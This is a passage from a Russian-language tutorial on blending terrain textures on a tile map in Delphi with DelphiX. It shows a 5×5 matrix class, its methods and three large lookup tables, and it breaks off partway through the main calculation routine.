Кстати в тексте статьи я упоминал о том, что нам придется создать три таблицы 16×25. Я не оговорился. Дело в том, что у нас возможны три варианта, когда значения одной и той же ячейки в таблице должны быть разными:

1. Активная земля равняется прежней земле. Например, мы рисуем ТРАВОЙ, а в рассчитываемой ячейке тоже ТРАВА или ТРАВА с ЗЕМЛЕЙ.

2. Активная земля не равна прежней земле. Например, мы рисуем ТРАВОЙ, а в рассчитываемой ячейке ВОДА или ВОДА с ЗЕМЛЕЙ.

3. Рисуем переходным типом земли — ЗЕМЛЯ.

Если кому-нибудь еще что-то не понятно, то надеюсь после рассмотрения исходных текстов программы все встанет на свои места.

Пример написан на Delphi 3 Professional, с использованием компонент библиотеки DelphiX для DirectX 6.0

Модуль MapDat:

// Определение класса Matrix5

Type TMatrix5 = class(TObject)

private

 Matrix : array[0..4,0..4] of byte;

 Vector : array[0..24] of byte;

public

 function GetBaseIndex( ElementIndex : Integer ): Integer;

 Function GetAdditionalIndex( ElementIndex : Integer ): Integer;

 procedure Fill(X,Y : Integer);

 procedure Place(X,Y : Integer);

 procedure Culculate(X,Y : Integer; BrushIndex : Integer );

 procedure Draw(X,Y : Integer; BrushIndex : Integer );

end;

Внутри класса определены переменные в виде матрицы 5×5 и вектора. Некогда я думал, что это упростит написание программы, сейчас я думаю, что можно воспользоваться только вектором. Методы GetBaseIndex и GetAdditionalIndex мы уже рассматривали, рассмотрим остальные:

Метод Fill(x,y : Integer);

procedure TMatrix5.Fill(X,Y : Integer);

var i,j : Integer;

begin

 for j := 0 to 4 do

 for i := 0 to 4 do

  Matrix[i,j] := MainForm.GetElement(X – 2 + i,Y – 2 + j);

 for j :=0 to 4 do

 for i := 0 to 4 do

 Vector[j*5 + i] := Matrix[i,j];

end;

Заполняет матрицу и вектор 25-ю элементами карты. Х,Y — указывает на центральный элемент.

Метод Place(x,y : Integer);

procedure TMatrix5.Place(X,Y : Integer);

var i,j : Integer;

begin

 for j := 0 to 4 do

 for i := 0 to 4 do

  Matrix[i,j] := Vector[j*5 + i];

 for j := 0 to 4 do

 for i := 0 to 4 do

  MainForm.PutElement(X – 2 + i,Y – 2 + j, Matrix[i,j] );

end;

Выполняет процедуру обратную методу Fill. То есть кладет матрицу 5х5 на карту.

Метод Draw(x,y : Integer; BrushIndex : Integer);

procedure TMatrix5.Draw(X,Y : Integer; BrushIndex : Integer);

begin

 Self.Culculate(X,Y,BrushIndex);

 Self.Place(X,Y);

end;

Выполняет методы Culculate, а затем Place. X,Y — указывают центральный элемент в матрице 5×5, BrushIndex — индекс активной земли. (0-вода,1-трава,2-камни,3– переходный тип — земля).

Прежде чем перейти к основному методу данного модуля — Culculate, покажу вам созданные таблицы.

const BasicTable : array[0..24,0..15] of byte = (

(16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16), (16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16), (16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16), (16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16), (16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16), (16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16),

( 9, 1, 6, 8, 4, 5, 6,15, 8, 9, 1,14, 4, 5,14,16),

( 1, 1, 6,15, 5, 5, 6,15,15, 1, 1, 6, 5, 5, 6,16),

(10, 1, 2, 7,15, 5, 6, 7,15, 1,10, 2, 7,13, 6,16),

(16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16), (16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16),

( 4, 5,15, 8, 4, 5,15,15, 8, 4, 5, 8, 4, 5, 8,16),

(16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16),

( 2, 6, 2, 7,15,15, 6, 7,15, 6, 2, 2, 7, 7, 6,16),

(16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16), (16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16),

(12, 5, 7, 3, 4, 5,15, 7, 8, 4,13, 3,12,13, 8,16),

( 3,15, 7, 3, 8,15,15, 7, 8, 8, 7, 3, 3, 7, 8,16),

(11, 6, 2, 3, 8,15, 6, 7, 8,14, 2,11, 3, 7,14,16),

(16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16), (16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16), (16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16), (16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16), (16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16), (16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16));

EqualTable : array[0..24,0..15] of byte = ( (16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16), (16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16), (16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16), (16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16), (16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16), (16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16),

(16,10,16,16,12,13, 2,16, 3, 0,16,16,16,16,11, 7),

(16, 0,11,16,12,12,11, 3, 3, 0, 0,16,16,12,11, 3),

(16, 9,11,16,16, 4,14, 3,16,16, 0,16,16,12,16, 8), (16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16), (16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16),

(16,10,16,11, 0,10, 2, 2,11, 0,16,16, 0,10,11, 2), (16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16),

(16, 9, 0,12,16, 4, 9,12, 4,16, 0, 0,16,12, 9, 4), (16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16), (16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16),

(16,16,16,11, 9, 1,16, 2,14,16,16,16, 0,10,16, 6),

(16,16,10, 0, 9, 1, 1,10, 9,16,16, 0, 0,10, 9, 1),

(16,16,10,12,16,16, 1,13, 4,16,16, 0,16,16, 9, 5), (16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16), (16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16), (16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16), (16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16), (16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16), (16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16));

NotEqualTable : array[0..24,0..15] of byte = (

( 9, 1, 6, 8, 4, 5, 6,15, 8, 9, 1,14, 4, 5,14,15),

( 1, 1, 6,15, 5, 5, 6,15,15, 1, 1, 6, 5, 5, 6,15),

( 1, 1, 6,15, 5, 5, 6,15,15, 1, 1, 6, 5, 5, 6,15),

( 1, 1, 6,15, 5, 5, 6,15,15, 1, 1, 6, 5, 5, 6,15),

(10, 1, 2, 7, 5, 5, 6, 7,15, 1,10, 2,13,13, 6,15),

( 4, 5,15, 8, 4, 5,15,15, 8, 4, 5, 8, 4, 5, 8,15), (23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23), (19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19), (24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24),

( 2, 6, 2, 7,15,15, 6, 7,15, 6, 2, 2, 7, 7, 6,15),

( 4, 5,15, 8, 4, 5,15,15, 8, 4, 5, 8, 4, 5, 8,15), (18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18), (16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16), (20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20),

( 2, 6, 2, 7,15,15, 6, 7,15, 6, 2, 2, 7, 7, 6,15),

( 4, 5,15, 8, 4, 5,15,15, 8, 4, 5, 8, 4, 5, 8,15), (22,22,22,22,22,22,22,22,22,22,22,22,22,22,22,22), (17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17), (21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21),

( 2, 6, 2, 7,15,15, 6, 7,15, 6, 2, 2, 7, 7, 6,15),

(12, 5, 7, 3, 4, 5,15, 7, 8, 4,15,13,12,13, 8,15),

( 3,15, 7, 3, 8,15,15, 7, 8, 8, 7, 3, 3, 7, 8,15),

( 3,15, 7, 3, 8,15,15, 7, 8, 8, 7, 3, 3, 7, 8,15),

( 3,15, 7, 3, 8,15,15, 7, 8, 8, 7, 3, 3, 7, 8,15),

(11, 6, 2, 3,15,15, 6, 7, 8,14, 2,11, 3, 7,14,15));

BasicTable — используется, когда мы рисуем переходным типом земли.

EqualTable — испльзуется, когда прежняя земля в ячейке равна активной. NotEqualTable — испльзуется, когда прежняя земля в ячейке не равна активной.

Заметьте, что в таблицах иногда используется число 16, а в таблице NotEqualTable и больше. Число 16 указывает, что текстура не изменится в результате наших воздействий. Честно говоря, я просто не помню зачем я вводил числа больше 16-ти, я написал эту программу год назад. В дальнейшем в теле модуля Culculate я от этих чисел отнимаю 16, а зачем — Бог его знает. Кому охота — можете исправить, но программа работает.

Да, на первый взгляд таблицы выглядят немного устрашающе. Кто-то может спросить: Зачем громоздить такие кошмары? Неужели не найти формулу для расчета? Ведь так будет намного компактнее. Но я отвечу, что программы на ассемблере выглядят тоже страшновато, зато работают намного быстрее, чем на других языках. Может и есть формула, но я уверен, что она непростая, а стало быть работать будет намного медленнее чем простое обращение к массиву.

procedure TMatrix5.Culculate(X,Y : Integer ; BrushIndex : Integer );

var

 i : Integer;

 BaseIndex, AdditionalIndex : Integer;

Begin // Заполнить матрицу считав значения с карты

 Self.Fill(X,Y);

 if BrushIndex = 3 then // Если рисуем переходной землей

 begin

  Vector[12] := 15;// Заносим центральный элемент

  for i := 0 to 24 do

  begin // Получить тип земли в виде индекса(0,1,2)

   BaseIndex := GetBaseIndex(Vector[i]);

   // и прежний номер переходной текстуры